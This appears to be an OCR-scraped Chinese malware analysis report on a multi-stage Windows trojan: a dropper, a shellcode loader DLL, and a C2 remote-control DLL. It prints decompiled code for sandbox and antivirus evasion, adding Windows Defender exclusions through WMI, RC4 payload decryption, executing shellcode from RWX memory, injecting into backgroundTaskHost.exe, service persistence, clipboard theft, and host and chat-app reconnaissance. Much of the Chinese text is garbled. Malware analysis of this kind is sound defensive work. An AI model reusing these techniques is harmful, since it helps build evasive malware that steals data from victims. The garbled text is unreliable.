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B0

VaEEA
FEL R

JRIG3CHF4%  XER.exe

XA/ 21.8 MB (22923776 bytes)

X{4MD5  3DB3678944D709BC08530B411C83EDS5E

MR EXE

TRE4 Dropper.Agent!1.14213

FEYRE  ABEMIE{TE M EKpayload

GHERNE BRI | BT RESPIT—RIIMNERNERE - KBRS, FIRTCPUiZ O
W, ARTE2REHE. FBRRNFEEE. XEASTRAMREIE. MEMHRLI4EITI/EE
X, HEFRPRBRBEZNESRFHITEGRIRE , KEGRENEFTE LEERRNE
Windows DefenderFIHHERIN , A AR TIMIT.

FIRT AR,

bool Check IsDebuggerPresent(void)

{
/ IRBUREF R &R
unsigned  int8* kernel32 pstr = GetKernel32 dll string(...);
unsigned  int8* IsDebuggerPresent pstr = Get GetSystemInfo string(...);
//3ERGetSystemInfok ¥t
pIsDebuggerPresent = GetProcAddress(kernel32 ptr, (LPCSTR)IsDebuggerPresent pstr);
return pIsDebuggerPresent() != 0;

}

FIRTCPUAZ DR S/ NTF2 , FiE HAEIENV] cpu _count=%lu fail=%s\n.

bool Check Cpu Core(double unused xmm param)
{
/ IRBUREF R &R
unsigned  int8* kernel32 pstr
unsigned  int8* sysinfo pstr

GetKernel32 dll string(...);
Get GetSystemInfo string(...);
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/1 BB

/ /3 HXGetSystemInfok ¥t

pGetSystemInfo = GetProcAddress(kernel32 ptr, (LPCSTR)sysinfo pstr);

//AGetSystemInfo

((VOID(WINAPI*) (LPSYSTEM INFO))pGetSystemInfo) (&sys_info);

cpu_core _count = sys info.dwNumberOfProcessors;

/BB

is cpu_env ok = (cpu_core count < 2);

const char* fail str = is cpu env ok ? "false" : "true";

snprintf(log buf, sizeof(log buf),"[ENV] cpu count=%lu fail=%s\n", cpu core count,
fail str);

return is cpu_env_ok;

FIMTUIENER S/ NTF2GB |, FHiit B [ENV] memory=,

bool Memory Info Proc(double unused xmm param)
{
[ IRBUREF R &
unsigned  int8* kernel32 pstr = GetKernel32 dll string(...);
unsigned  int8* GlobalMemoryStatusEx pstr = Get GlobalMemoryStatusEx string(...);
FUNC P pGlobalMemoryStatusEx =
GetProcAddress(kernel32 ptr,GlobalMemoryStatusEx pstr);
// BEEFERRES
pGlobalMemoryStatusEx(&mem status);
/1 FHIERNEFRERT2GB
mem flag data = mem status.ullTotalPhys >> 30;
is memory env ok = ((mem status.ullTotalPhys & OxFFFFFFFF80000000ULL) == 0);
/ /BB
xfprintf ((FILE*)&file buf, "[ENV] memory=", arg list);
/ /BB

return is memory env_ok;

HMTAG T B BFERE R &R,

bool Check Antivirus Process(void)
{
/] BERNKHAFEE IR
const WCHAR *target processes[] = {
L"360tray.exe",
L"HipsTray.exe",
L"QQPCTray.exe"
+
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// BIZHFRIRIE
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS SNAPPROCESS, 0);
/ /BB

if (!'Process32FirstW(hSnapshot, &pe32))

{
CloseHandle(hSnapshot);
return FALSE;
}
/ / BRE B A
do
{
for (int 1 = 0; i < target count; i++)
{
if ( wcsicmp(pe32.szExeFile, target processes[i]) == 0)
{
// KIMERRLHRE
CloseHandle(hSnapshot);
return TRUE;
}
}

} while (Process32NextW(hSnapshot, &pe32));

HKIARZNTE. CPU, #FE%EEE , it HE [ run] facade score=,

int64 ProcesorPerformer Proc(void)

{

// 1. EREFRNFER

MEMORYSTATUSEX memInfo = {0};
memInfo.dwLength = sizeof (MEMORYSTATUSEX) ;
GlobalMemoryStatusEx(&memInfo);

PERFORMANCE INFORMATION perfInfo = {0};
perfInfo.cb = sizeof (PERFORMANCE INFORMATION);
K32GetPerformanceInfo(&perfInfo, sizeof(PERFORMANCE INFORMATION));

// 2. PDHiEXCPUZAZR

PDH HQUERY hQuery;

PDH HCOUNTER hCounter;

PdhOpenQueryA(NULL, 0, &hQuery);

PdhAddEnglishCounterA(hQuery, "Processor( Total)% Idle Time", 0, &hCounter);
PdhCollectQueryData(hQuery);

PDH FMT COUNTERVALUE val;

PdhGetFormattedCounterValue(hCounter, PDH FMT DOUBLE, NULL, &val);

double cpuldle = val.doubleValue;
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// 3. NtQuerySystemInformationi&E/A37E (fEMR/RZ)
ULONG bufSize = 0x10000;
BYTE* pBuffer = malloc(bufSize);

NtQuerySystemInformation(SystemProcessInformation, pBuffer, bufSize, &bufSize);

/] 4. FERENL
WCHAR hostName[256] =
DWORD hostLen = 256;

GetComputerNameExW(ComputerNamePhysicalDnsHostname, hostName, &hostlLen);

{0};

// 5. HERASHESRIE (JRAEUREE)

__int64 fingerprint =
1000) ;

/] EREIR
PdhCloseQuery (hQuery);
free(pBuffer);

return fingerprint;

RIS TERRA. HATERNEKT 20 MEREL , SXRENFEHER—MEA LRI THE

perfInfo.PhysicalTotal ~ perfInfo.ProcessCount ~ (cpuldle *

B, WERREEE , BHAH0x5D

Fs THERA Fs THBRA

1 ComplianceCheck 11 LayoutServer

2 ScreenShare 12 DomainJoinTool
3 CursorManager 13 TextConverter

4 DataClassifier 14 BrightnessHelper
5 HibernateManager 15 SyncHelper

6 AdminConsole 16 ClipSync

7 DataExplorer 17 UptimeMonitor

8 ScreenCapture 18 TroubleshootHelper
9 PrintSpooler 19 MagnifierHelper
10 ImageViewer 20 PartitionHelper

FIBWMIBHEE B RS FEF R INZEWindows DefenderfFf&I.
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bool Add WD Mp ExclusionPaths ctrl(LPCSTR szExclusionPath)
{
// COM ¥4tk
hr = CoInitializeEx(NULL, COINIT MULTITHREADED);
// Bl WMI Locator
hr = CoCreatelInstance(
CLSID WbemLocator,
NULL,
CLSCTX INPROC SERVER,
IID IWbemLocator,
(LPVOID*)&pLocator
)
// EHE WMI #3£& %A root\Microsoft\Windows\Defender
bstrNamespace = SysAllocString(L"ROOT\\Microsoft\\Windows\\Defender");
hr = pLocator->ConnectServer(
bstrNamespace,
NULL, NULL, NULL,
0, NULL, NULL,
&pServices
)
/] REAIERS
hr = CoSetProxyBlanket (
pServices,
RPC C AUTHN WINNT,
RPC_C_AUTHZ NONE,
NULL,
RPC C AUTHN LEVEL CALL,
RPC C IMP LEVEL IMPERSONATE,
NULL,
EOAC_NONE
)
// ¥HX MSFT MpPreference WMI ¢
bstrClassName = SysAllocString(L"MSFT MpPreference");
hr = pServices->GetObject(bstrClassName, 0, NULL, &pClass, NULL);
// BIEESRBIIEAR
hr = pClass->SpawnInstance(0, &pInstance);
/ / BREERRED
// BARMIEM ExclusionPath
bstrPropName = SysAllocString(L"ExclusionPath");
hr = pInstance->Put(bstrPropName, 0, &vPath, 0);
// BREERMRED
// A Add ik
bstrMethodName = SysAllocString(L"Add");
pSA = SafeArrayCreateVector(VT VARIANT, 0, 1);
VariantInit(&vMethodParams);
/ / BRE BB ED
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vParam.bstrVal = SysAllocString(szWidePath);
1Index = 0;
hr = SafeArrayPutElement(pSA, &lIndex, &vParam);
/1 BHEE D
hr = pServices->ExecMethod(
bstrClassName,
bstrMethodName,
0,
NULL,
&vMethodParams,
NULL,
NULL
);
/ / BRE BB RED

L {EERC:\ProgramData\ [ T#EER% 1T , IBITAESHEER IR Hwinbox64 . exe,
IrTIJt32.d11FACache.pmt, B FERRKIEE HE [ run] releasing payload 1/3 via
CertEnum, [run] releasing payload 2/3 via CertEnumfl[run] releasing payload 3/3
via CertEnum, [Efe¥iwinbox64.exeEMHZ AITEBFL] . . exe , BiiHE [ run] renamed ,
A HE [ run] launching3F/33h payload,

WidCreateP rocessWEEj]payloado

int RunExe(void)
{
// BREER AL
wcscpy s(lpApplicationName, MAX PATH,
L"C:\\ProgramData\\HibernateManager\\HibernateManager.exe");
lpCommandLine = L"";
lpCurrentDirectory = L'C:\\ProgramData\\HibernateManager';
if (CreateProcessW(

lpApplicationName, // 1pApplicationName
lpCommandLine[1], // lpCommandLine

NULL, // 1pProcessAttributes
NULL, // lpThreadAttributes
bInheritHandles, // bInheritHandles
dwCreationFlags, // dwCreationFlags

Src, // lpEnvironment
lpCurrentDirectory, // lpCurrentDirectory
&Buffer, // 1pStartupInfo
&ProcessInformation // lpProcessInformation

v412[0] = ProcessInformation.hProcess;
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v412[2] = ProcessInformation.hThread;
v412[1] = (HANDLE) (INT64)ProcessInformation.dwProcessId;
v412[3] = (HANDLE) (INT64)ProcessInformation.dwThreadId;

if (v305) CloseHandle(v305);
if (v320) CloseHandle(v320);
if (hObject) CloseHandle(hObject);

/ 1 EREER S

return 0;

}

—KrExpayload

FB RNE

BRIa3cH4%  IrTIdt32.dll

XA/ 105KB (108032 bytes)

N {4MD5 1962aa0242dc444f9e0de7cebecOb064

SR DLL

TREA Trojan.Agent/x64!1.141C2

FEDRE  ME =K EPayload

ZOLLAZ B YT SARMEXES [ THER L] . exeE,., EXE B4 AMALLSEN=
M EXpayload INZEL LR ERDFUVTX00OXFTXFvyXhI, XeRE e 4ot EVAC B S - Cache.. pmt , Z2RCAfRRS
FIRt1DecompressBufferfifk/aiFEshellcode iR , HRAFLBFHENFFMEFFRITX

shellcode,
=KrE&payload/iNEL k%A,
int DFUVTXOOXFTXFvyXhI()

/ 1 BWE BRI ES
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/1 BERFENSHTTFAPI

pCreateFileA = Find TargetFuncAddr ctrl(0x4FDAFG6DA); // kernel32.CreateFileA
pGetFileSize = Find TargetFuncAddr ctrl(0x701E12C6); // kernel32.GetFileSize
pReadFile = Find TargetFuncAddr ctrl(0xBB5F9EAD); // kernel32.ReadFile

// BAEFTAAPL R BFREURTN
if (pCreateFileA != NULL && pGetFileSize != NULL && pReadFile != NULL) {

/] ==========\FERLEIf ==========
// FTFH: C:\ProgramData\HibernateManager\Cache.pmt
HANDLE hFile = ((HANDLE (WINAPI*)(LPCSTR, DWORD, DWORD,
LPSECURITY ATTRIBUTES, DWORD, DWORD,

HANDLE) )pCreateFileA) (

NULL) ;

FullPath, // 1pFileName

GENERIC READ, // dwDesiredAccess

FILE SHARE READ, // dwShareMode

NULL, // 1pSecurityAttributes
OPEN EXISTING, // dwCreationDisposition
FILE ATTRIBUTE NORMAL, // dwFlagsAndAttributes
NULL // hTemplateFile

);
if (hFile != INVALID HANDLE VALUE) {
dwFileSize = ((DWORD (WINAPI*)(HANDLE, LPDWORD))pGetFileSize) (hFile,

if (dwFileSize > 0 && dwFileSize != INVALID FILE SIZE) {
hMem = LocalAlloc(LMEM FIXED, dwFileSize);
if (hMem != NULL) {
BOOL bSuccess = ((BOOL (WINAPI*)(HANDLE, LPVOID, DWORD, LPDWORD,

LPOVERLAPPED) ) pReadFile) (

hFile, // hFile

hMem, // lpBuffer

dwFileSize, // nNumberOfBytesToRead
&dwBytesRead, // lpNumberOfBytesRead
NULL // 1pOverlapped

);

if (bSuccess && dwBytesRead == dwFileSize) {
// =_========= j]ﬂﬁshe‘l_lcode =_=========
Main LoadProc ctrl(hMem, dwFileSize);

}
LocalFree(hMem) ;
}
}
CloseHandle(hFile);
}
}
// BHEE RS
return 0;
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fEMain LoadProc ctrleR#<ifDecrypt PayloadContainer ctrl , XECE {43t

IT—IRRCAfRER,

~ ml28i* Decrypt PayloadContainer ctrl(

__int64 pKey, // 16FE4R

_ m128i* pEncryptedData, // MRS HX

int dwDataSize) /! BHEKE

{

/1 BB

// FALS - box RO

Init Status ctrl(SBox, 0, sizeof(SBox));

/7 SRR X I R R

pDecryptedData = ( ml128i*)LocalAlloc(LMEM FIXED, dwDataSize);

// RCABAFRAERIEL (KSA) - FRA16F T EAVIMAENL

Rc4 KeySchedule ctrl((_ int64)SBox, pKey, 16);

// RCAREAHE (PRGA + XOR)

RC4 Decrypt ctrl(
SBox, // S-boxiKE&
(_ int64)pEncryptedData, // INEXIE
dwDataSize, /] BIRKE
(__int64)pDecryptedData // HHZEIFX

);

[/ RRESRESIE AR (AR

Copy Buf ctrl(pEncryptedData, pDecryptedData, dwDataSize);

// BEEERRES

}

fEMain_LoadProc ctrleK#t+ifFiDecompress BUF And Load ctrl , RS T
Rt1DecompressBufferXELE LI THRE |, B E ¥Rk fGishellcodeM S EIN7ZHHAT.

/ / EARAE K BN LA

typedef struct {
DWORD dwMagic; // 'LINT' REE¥
DWORD dwUncompressedSize; // fRERFAR/N
DWORD dwCompressedSize; // EU¥UBA/IN
BYTE CompressedDatal[ll; // E4&¥uE (TK)

} LZNT HEADER, *PLZNT HEADER;

int Decompress BUF And Load ctrl(
BYTE* pCompressedData,
DWORD dwCompressedSize)

/1 BB
/1 BERFENSHITFAPI
pRtlDecompressBuffer = Find TargetFuncAddr ctrl(0x77E20184);
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if (pHeader->dwMagic !'= Ox544E5A4C) { // 'LZNT'
return 0;

}

/ / BB RES

pDecompressedBuffer = LocalAlloc(LMEM FIXED, pHeader->dwUncompressedSize);

// {EAntdl1!Rt1DecompressBuffer

// #&=: COMPRESSION FORMAT LZNT1 ({&=2)
dwFinalUncompressedSize = pHeader->dwUncompressedSize;
status = ((NTSTATUS (WINAPI*)(

USHORT, PUCHAR, ULONG, PUCHAR, ULONG, PULONG))pRtlDecompressBuffer) (

COMPRESSION FORMAT LZNT1, // 2
(PUCHAR) pDecompressedBuffer,
pHeader->dwUncompressedSize,

(PUCHAR) pHeader->CompressedData,
pHeader->dwCompressedSize,
&dwFinalUncompressedSize

/] ========== JMNEfRFIER ==========
if (status == STATUS SUCCESS) {
// BEfRER/N
if (dwFinalUncompressedSize == pHeader->dwUncompressedSize) {
// Mg FHHITShellcode
dwResult = Map shellcode Ctrl(pDecompressedBuffer,pHeader-

>dwUncompressedSize
);
}
}
// BREER AL
}

int

EBSHFERNGFEF , Fshellcode,

Map shellcode Ctrl(
BYTE* pShellcode, // rcx: Shellcode¥$iif
DWORD dwShellcodeSize) // edx: ShellcodeX/

/[ BEEERS A
/ /B EF AN ETEAPI
pCreateFileMapping = Find TargetFuncAddr ctrl(0x23F9CDOA);
pMapViewOfFile = Find TargetFuncAddr ctrl(0x757AEF13);
pUnmapViewOfFile = Find TargetFuncAddr ctrl(0x257CA71E);
/ / BB RE
/ / BIFREE 2 SRR 5
hMapping = ((HANDLE (WINAPI*) (
HANDLE, LPSECURITY ATTRIBUTES, DWORD, DWORD, DWORD,
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LPCSTR) )pCreateFileMapping) (

INVALID HANDLE VALUE, // hFile: E&MEf

NULL, // lpAttributes: ERi\LLEM
PAGE_EXECUTE_READWRITE, // flProtect: "[HITHEE

0, // dwMaximumSizeHigh: 5321z
dwMappingSize, // dwMaximumSizelLow: {K321{i:
NULL // lpName: E%

)
/ /RS RHARE I 25 [A)
pMappedMemory = ((LPVOID (WINAPI*) (
HANDLE, DWORD, DWORD, DWORD, SIZE T))pMapViewOfFile) (

hMapping,

FILE MAP EXECUTE | FILE MAP WRITE, // 0x22: ®[{fT+EA
o, // 1wF%E321

o, // miEAR3214L
dwMappingSize // BRETA/)N

)
Copy Buf ctrl(pMappedMemory, pShellcode, dwShellcodeSize);

//$dTShellcode
dwShellcodeRet = ((int (_fastcall*)())pMappedMemory) ();
/ / BREEBED
}
=krExshellcode+PN#kDLL
FH ot

AN 8.86 MB (9292700 bytes)

XMD5  7b82d0c83867196e043af4f90db90fb2

XHEZEY  X64 shellcode

FENRE MMB=BEXNELDLL , BIEIFERIR , Nk DU E AR SR

ZshellcodeE BTN MM - RIEEBHFIRNIRPERRSY. RILE A ATINEKELDLL , H
INEEITE

1. 3N FTSE R 2F54T , B33E : LdrLoadD1l, GetProcAddress. VirtualAlloc,
VirtualProtect, FlushInstructionCache, GetNativeSystemInfo, Sleep.
RtlAddFunctionTable, LoadLibraryA,

2. EDLLIL LM , WUER B AEIE PE. 284 x64 PE, EREREEMEES.

3. ENFHFHEH PE , (RS AKRRBIEST  BEEEN , BRETTNEEME.

4. PEEZEDLLAOHAT,
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ZMERNHERDLLIZYT/G , B E YaTHEARIZE , /EVAARtDecompressBufferfig/E
DLLAN#ER A PR Bt shellcode, $E IR IEM RN
SOFTWARE\Microsoft\Tracing\choco RASAPICS , #E\%XIR )42 {DBB1F414-7272-47DE-
A987-6BBEDA78ABB2}F{RF— 1/ B mbS fE B fa | THES IR | AL
TieringEngineService.exedtF2# i+ \ PO ERFRER FF12 1T,

RTXOLLXAT KERAEFE , KTREZEAREAAERENEE,

KEYRHERRIESE.

DWORD CheckTokenInfo ctrl(HANDLE hToken,DWORD* pIntegritylLevel)
{
// ERNULLER X E N FENKE
if (!GetTokenInformation(hToken,TokenIntegritylLevel,NULL,0,&dwBufferSize)){

/ 1 EREED SRS
}
else{

return ERROR SUCCESS;
}

/] HEEHX

pTokenInfo = (PTOKEN MANDATORY LABEL)LocalAlloc(LMEM FIXED,dwBufferSize);

/188 2R R FIARECRIR 4 RS S

if
(GetTokenInformation(hToken,TokenIntegrityLevel,pTokenInfo,dwBufferSize,&dwBufferSize)
)

{
/ /fERTSIDFRER ST RMELR A1
dwErrorCode = Check SidInfo ctrl(pTokenInfo->Label.Sid,pIntegritylLevel);
}
else {
dwErrorCode = GetLastError();
}
// BREER AL

BEERIMER, RS EFEENEIERE NEMK.

INT64 Make RegKeyBuf And Write ctrl(const void **al, int64 a2, int a3)
{
/ / BRE BB ED
memset(Src, 0, sizeof(Src));
hMem = (char *)LocalAlloc(0, v5 + 2108);
if ( hMem )
{
if (a3 )
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*( DWORD *)hMem = 'REGC';
else
*(_DWORD *)hMem = 'REGD';
GetModuleFileNameW(0i64, Filename, 0x104u);
wcscpy s((wchar t *)hMem + 0x14, 0x104, Filename);
wcscpy s((wchar t *)hMem + 0x670, 0x104, L"Bluetooth User Support
Service ada7e9");
wcscpy s((wchar t *)hMem + 0x460, 0x104, L"BluetoothUserService 9dd037");
/ / BRE B A
Encode Buf (hMem) ;
hKey = (HKEY)GetRegKeyHandle();

if ( hKey )
{
vll = SetRegKeyValue ctrl(hKey, a2, hMem, Len);
RegCloseKey (hKey) ;
}
LocalFree(hMem);
}
return v11;
}
M R B E SRS M
AR NE
0x0 EEAPRR(DGER/CGER)
0x14 —rpayload A U THE1E

0x460 BluetoothUserService 9dd037

0x670 Bluetooth User Support Service_ada7e9

0x838 LZNT_BUF

BERRR AN

UCHAR AdjustToken SeDebug ctrl( int64 al, UCHAR a2)
{
UCHAR result = 0;
HANDLE hToken = NULL;
HANDLE hCurrentProcess = GetCurrentProcess();
/7 FTIF4ATHFRAIRIAAE , 385K TOKEN ADJUST PRIVILEGES (0x20) #XfR
if (OpenProcessToken(hCurrentProcess, TOKEN ADJUST PRIVILEGES, &hToken))
{
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/1 BIERFAEEFEE S AR
result = Lookup And AdjustToken ctrl(hToken, al, a2);

// KIFEShEAER
CloseHandle(hToken);
hToken = NULL;

}

return result;
}
PIRrERDLL

FB RNE

XA/ 2.47 MB (2597033 bytes)

XHMD5  41b67f89127bd86a4236586a31de2a9c

MR DLL

ERTNRE  MBGEMERTREBMMELIER |, SRR EMIEFEEN IR

ZMERDLLA T EIhEE R WIE AR
HKLM\SOFTWARE\Microsoft\Tracing\choco RASAPICSHiZENSCRTFEHRImAL a1 1R | f#hD
JaiE ANEbackgroundTaskHost.exe#HFEHIZ1T. A , ZERCEZ BT BRFRERNARLS
IKzh R 2 RERSHTHEE.

Bl (R mdtFEbackgroundTaskHost . exeFFiF A shellcode,

void LoadShellcode By P backgroundTaskHost Ctrl(int64 al)
{
// BREER AL
pSessionld = 0;
CurrentProcessId = GetCurrentProcessId();
ProcessIdToSessionId(CurrentProcessId, &pSessionId);
memset(Dst, 0, sizeof(Dst));

while ( 1)
{
while ( 1)
{
ActiveConsoleSessionId ctrl = GetActiveConsoleSessionId ctrl();
ExitCode = 0;
v3 = ActiveConsoleSessionId ctrl != pSessionld;

memset (Dst, 0, sizeof(Dst));
/ / PE AR TR
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inited = Init Wchar String ctrl(v5, L"backgroundTaskHost.exe");
if ( (unsigned int)CreateSubProcess And InjectShellcode ctrl(inited, al,
Dst, v3) )
break;
GetLastError();
Sleep(0x7530u);
}
if ( Dst[0O] )
{
WaitForSingleObject((HANDLE)Dst[Q], OXFFFFFFFF);
if ( GetExitCodeProcess((HANDLE)Dst[0], &ExitCode) && ExitCode == 259 )
{
TerminateProcess((HANDLE)Dst[0], 0);
Sleep (0xBB8u) ;
}
CloseHandle( (HANDLE)Dst[0]);
}
if ( Dst[1] )
CloseHandle( (HANDLE)Dst[1]);
Sleep(0x1388u);

shellcodejE \I24E.

int64  fastcall CreateSubProcess And InjectShellcode ctrl(int64 al, int64 a2, void
*a3, int a4)
{
/[ BEEERS A
// REL32{iWowb4 R4 B Rik12
SystemWow64DirectoryW = GetSystemWow64DirectoryW(Buffer, BUF LEN 260);
// BHB RS
if ( SystemWow64DirectoryW && SystemWow64DirectoryW <= BUF LEN 260 )
{
// FEEMBEHFESL | PHETERKIZ, C:\Windows\SysWOW64\backgroundTaskHost.exe
pProcessNmae = GetProcessName(al);
wsprintfW(ApplicationName, L"%s%s", Buffer, pProcessNmae);
// TRARIE AR e AR
if (a4 )
{
/7 1ERL : FAA R
v6 = Create TPrivilege Process ctrl((LPCWSTR)ApplicationName, 0, 0, 4, 0,
&ProcessInformation);
}
else
{
/7 #8312 - HATSIDAIERHFR , KIMNARM R4 CreateProcessWik
v6 = Use Cur SidCreateProcess ctrl((LPCWSTR)ApplicationName, 0, 0, 4, 0,
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&ProcessInformation);
if ( !ve )
{
memset (&Dst, 0, sizeof(Dst));
Dst.cb = sizeof (STARTUPINFOW);
v6 = CreateProcessW(ApplicationName, 0i64, 0i64, 0i64, 0, CREATE FLAG,
0i64, 0i64, &Dst, &ProcessInformation);
}
}
if (v6 )
{
// BLETNTEXEL , #KERshellcode A\ [Oithitv12
if ( (unsigned int)MapViewOfFile ctrl(ProcessInformation.hProcess, a2,
&v11, &v12) )

{
if (v12 )
{
// REWowbd 321uZFE LTI , ¥ EaxaFfFastEmshellcode A\
Context.ContextFlags = CONTEXT FLAGS;
if ( Wowb4GetThreadContext(ProcessInformation.hThread, &Context) )
{
Context.Eax = (DWORD)v12;
v8 = Wow64SetThreadContext(ProcessInformation.hThread,
&Context);
}
}
}
if ( v8 )
{
// ETFXEHAT , IEFEFETT , PiTshellcode
ResumeThread(ProcessInformation.hThread);
v = 1;
}
else
{
/] EANKW , BEEA L3R
TerminateProcess(ProcessInformation.hProcess, 1lu);
}
/1 BHEER A
}
Release Env ctrl(al);
return v5;
}
}

183 BT RAEHKLM\SYSTEM\ CurrentControlSet\Control\SecureBoot\State FH{E
UEFISecureBootEnabled A& & B S /S T Secure Boot,
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B R ¥ CreateServiceWfZE iR $%-BluetoothUserService 9ddO373RIFFAR AL, , RS
ImagePathAjcmd /c cd /d "C:\ProgramData\HibernateManager" && start ""
"C:\ProgramData\HibernateManager\HibernateManager.exe"

JRT ARk

FE P

MR/ 2.47 MB (2597097 bytes)

XHMD5  a60710919c0224eafb17eff4fe9cf050

2R DLL

FTEURE RIVETHRR | IRIEC2I5 S PITHI RIR(E

JRIMEBIELT et gawdk . fit , FIFEIERFFC T RKTES ., BT HEEC2
EFiEEE , N Rl TERBEHETHSABIEE.

SR TR EARA,

int RunClientLoopDll ctrl(...)
{
va_start(va, dwMilliseconds);
v23 = 0;
while ( 1)
{
al4 = 0;
v22 = 0;
v16 = Main Proc(
(int)&savedregs,
(int)&al,

(int)std:: N$$V::Z:: Func impl no alloc<RunClientLoopDll::4:: lambda 1 ,AHURunOptions>

::vftable,
v20[1],
v20[2],
v20[3],
v20[4],
v20[5],
v20[61],
v20[7],
v20[8],
(int)v20,
&v22);

v1l7 = v16;
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if ( 1v22 )

break;
Sleep(dwMilliseconds);
// BRE BRSNS

v21l = v16;

CurrentProcess = GetCurrentProcess();
TerminateProcess(CurrentProcess, v21);
return v17;

B3 TEERC: \ProgramData\regid_app_cache , FEXERRIGITER TERFEE
B3 : C:\ProgramData\regid app cache\crm cli up *,
C:\Users\MSBig\AppData\Local\Temp\crm cli up *,

KBRS HIIRAR.

char  cdecl Get ClipBoardContain ctrl( DWORD *cchWideChar, DWORD *a2)
{

/ / BREEBSED
while ( !OpenClipboard(0) )
{
Sleep(0x32u);
if ( ++vd >= 3 )
{
*a2 = 1;
return 0;
}
}

if ( !'IsClipboardFormatAvailable(0xDu)
|| (ClipboardData = GetClipboardData(0xDu), (v7 = ClipboardData) == 0)
|| (v8 = (const WCHAR *)GlobalLock(ClipboardData), v9 = v8, (lpWideCharStr =
v8) == 0) )

{
CloseClipboard();
*a2 = 2;
return 0;

}

v10 = lstrlenW(v8);
cchWideChara = v10;

if ( v1o )
{

/ /B EDMAED
}
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FREXWindows REThR AN,

DWORD CheckWinVersion ctrl( DWORD *al)

{
if ( !'RegOpenKeyExW(HKEY LOCAL MACHINE, L"SOFTWARE\\Microsoft\\Windows

NT\\CurrentVersion", 0, 0x20019u, &phkResult) )

{
memset (Data, 0, sizeof(Data));
cbData = 512;
vl = RegQueryValueExW(phkResult, L"ProductName", 0, 0, (LPBYTE)Data, &cbData);
RegCloseKey (phkResult);
/ / BRE B A
}

ModuleHandleW = GetModuleHandleW(L"ntdll.dll");
if ( ModuleHandleW )

{ cbData = (DWORD)GetProcAddress(ModuleHandleW, "RtlGetVersion");
i /BB

I¥ ((unsigned int)v2 >= Ox55F0 )

{ // BHEERSY A

L

KA MG EACAER.

FARPROC GetSystemIpInfo ctrl(int al)
{

if ( byte 1017C1A8
|| (byte 1017C1A8 = 1, LibraryW = LoadLibraryW(L"iphlpapi.dll"), (dword 1017C1A0 =
(int)LibraryW) == 0) )
{
// BHEE D

result = GetProcAddress(LibraryW, "GetAdaptersAddresses");
dword 1017C1A4 = (int (_ stdcall *)( DWORD, DWORD, DWORD, DWORD,
_DWORD) ) result;
}
if ( result )

{

Size = 0;
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result = (FARPROC) ((int ( stdcall *)( DWORD, int, DWORD, DWORD, size t
*))result) (0, 16, 0, 0, &Size);
/BB

return result;

%;EEDlE%i LEZZ;Etéé%éii FJ/L»O

intle GetDiskInfo ctrl(int al)
{

LogicalDriveStringsW = GetlLogicalDriveStringsW(0x1FFu, Buffer);
if ( LogicalDriveStringsW )

{

for ( i = Buffer; *i; 1 +=v7 - (1 + 1) + 1)
{
DriveTypeW = GetDriveTypeW(1i);
if ( DriveTypeW == 3 || DriveTypeW == )
{

if ( GetVolumeInformationW(i, 0, 0, 0, 0, 0, FileSystemNameBuffer, 0x40u)

)
{
// BEEER A
}

FreeBytesAvailableToCaller.QuadPart = 0i64;

TotalNumberOfBytes.QuadPart = 0i64;

TotalNumberOfFreeBytes.QuadPart = 0i64;

if ( GetDiskFreeSpaceExW(i, &FreeBytesAvailableToCaller,
&TotalNumberOfBytes, &TotalNumberOfFreeBytes) )

{

v18 = TotalNumberOfBytes;

v19 = TotalNumberOfFreeBytes;
}
/ / BRE BB D

RAGTRRHNER , BT EMRFH{ESystemComponent , ParentKeyName ,
DisplayName , DisplayVersion , Publisher#xEXfEX{5E..

DWORD GetSysSoftwareInfo ctrl( DWORD *al)

{
/1 BWEEDSRES
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GetSubKey Value ctrl(HKEY LOCAL MACHINE,

SOFTWARE Microsoft Windows CurrentVersion Uninstall, 256, (int)al);
GetSubKey Value ctrl(HKEY LOCAL MACHINE,

SOFTWARE Microsoft Windows CurrentVersion Uninstall, 512, (int)al);
GetSubKey Value ctrl(HKEY CURRENT USER,

SOFTWARE Microsoft Windows CurrentVersion Uninstall, 256, (int)al);
GetSubKey Value ctrl(HKEY CURRENT USER,

SOFTWARE Microsoft Windows CurrentVersion Uninstall, 512, (int)al);
sub 1000A800(*al, al[l], (al[l] - *al) / 72, al);

/BB
o
RERAG LR MIPREIAES.. FTRIEMEPRERAT
LN i 2
Mi= weixin.exe
(=N S wxwork.exe , wxworkapp.exe
QQ gg.exe
5T4T dingtalk.exe
KB feishu.exe
Lark larkapp.exe
Telegram telegram.exe
WhatsApp whatsapp.exe
Discord discord.exe
Slack slack.exe
Skype skype.exe
LINE line.exe

Microsoft Teams ms-teams.exe

SafeW

safew.exe
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HANDLE Get ChatSoft Info ctrl( DWORD *this, int a2, int a3)
{

// BREER A

result = CreateToolhelp32Snapshot(2u, 0);

hSnapshot = result;

if ( result == (HANDLE)-1 )

return result;
pe.dwSize = 556;
if ( Process32FirstW(result, &pe) )

{
do

{
vd = 0;
v5 = 0;
while ( 1)

{
if (!CmpString ctrl(pe.szExeFile, ChatName List[v5]) )

break;

while (Process32NextW(hSnapshot, &pe) );

}
CloseHandle(hSnapshot);

/ 1 BWE B ES

HREREARIMER. 1B B TR AR AR E B & & SR FIRTHL 28 B BRI,
EPSEASEINE

*
L7
&
X B ¥k REH

360 "Global\360RPCGuard" "\?7?
X \GlobalRoot\Device\360SelfProtection"

=
B

QQ "Globa\TENCENT_QMTAV_TSCAN_HANG" N/A

Iy
B

K
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3 R 3% K

LD 5"

REH

"Global\kxecolct_bsod"

N/A

H> W & X | & i E W

"Globa\PCMLOG_HrASDaemon.txt.logdat"

N/A

"Global\UrlZonesSM _test"

N/A

"Global\memscan_next"

N/A

%
L7

char _ cdecl EnumAllService Info ctrl(int al)

{

EnumServicesStatusExW(v3,SC_ENUM PROCESS INFO,0x3Bu,3u,0,0,&pcbBytesNeeded,&ServicesRe

"Global\LogonHelperWait"

KA A RFEE.

/BRI AES

v5 =

turned, &ResumeHandle,0);
LastError = GetLastError();
v57 = CloseServiceHandle;

if ( v5 || LastError

234 )

N/A
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// BB AED

pcbBytesNeeded = 0;

ServicesReturned = 0;

v9 = EnumServicesStatusExW(v3,SC ENUM PROCESS INFO,0x3Bu,3u,v8,v7 -

(_DWORD)v8,&pchBytesNeeded,&ServicesReturned, &ResumeHandle,0) ;

v52 = v9;
LastError = GetLastError();
/ / BREER A RED

<

=

=
]

lpServices + 8;
v64 = (int *)(lpServices + 8);

while ( 1)
{

/ / B ER O ED
}

IREXAH UDPIERERARER.

char GetUdpTable ctrl(DWORD* al)

{

// BEEFERE

dwRet = GetExtendedUdpTable(NULL, &dwSize, O, AF INET, UDP TABLE OWNER PID, 0);
